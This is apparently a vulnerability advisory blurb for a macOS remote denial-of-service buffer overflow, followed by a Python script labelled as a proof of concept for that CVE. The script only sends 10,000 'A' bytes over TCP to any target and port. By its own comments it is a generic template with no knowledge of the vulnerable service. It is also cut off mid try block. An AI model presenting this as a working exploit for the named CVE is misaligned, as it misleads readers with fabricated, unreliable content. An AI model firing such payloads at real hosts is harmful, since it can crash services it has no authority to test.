A buffer overflow was addressed with improved bounds checking. This issue is fixed in macOS Sequoia 15.7.7, macOS Tahoe 26.5. A remote attacker may be able to cause unexpected system termination.
The following code is for security research and authorized testing only.
python
import socket
import sys
# PoC for CVE-2026-28848 macOS Buffer Overflow (DoS)
# Note: This is a generic template. The specific service port and payload
# structure depend on the undisclosed technical details of the vulnerable component.
def send_exploit(target_ip, target_port):
try:
# Construct a large payload to trigger the buffer overflow
# Adjust the size and pattern based on actual vulnerability analysis
payload = b'A' * 10000
print(f"[*] Sending payload to {target_ip}:{target_port}...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((target_ip, target_port))
# Sending the malicious payload
s.send(payload)
print("[+] Payload sent successfully. Check if the target has crashed.")
s.close()
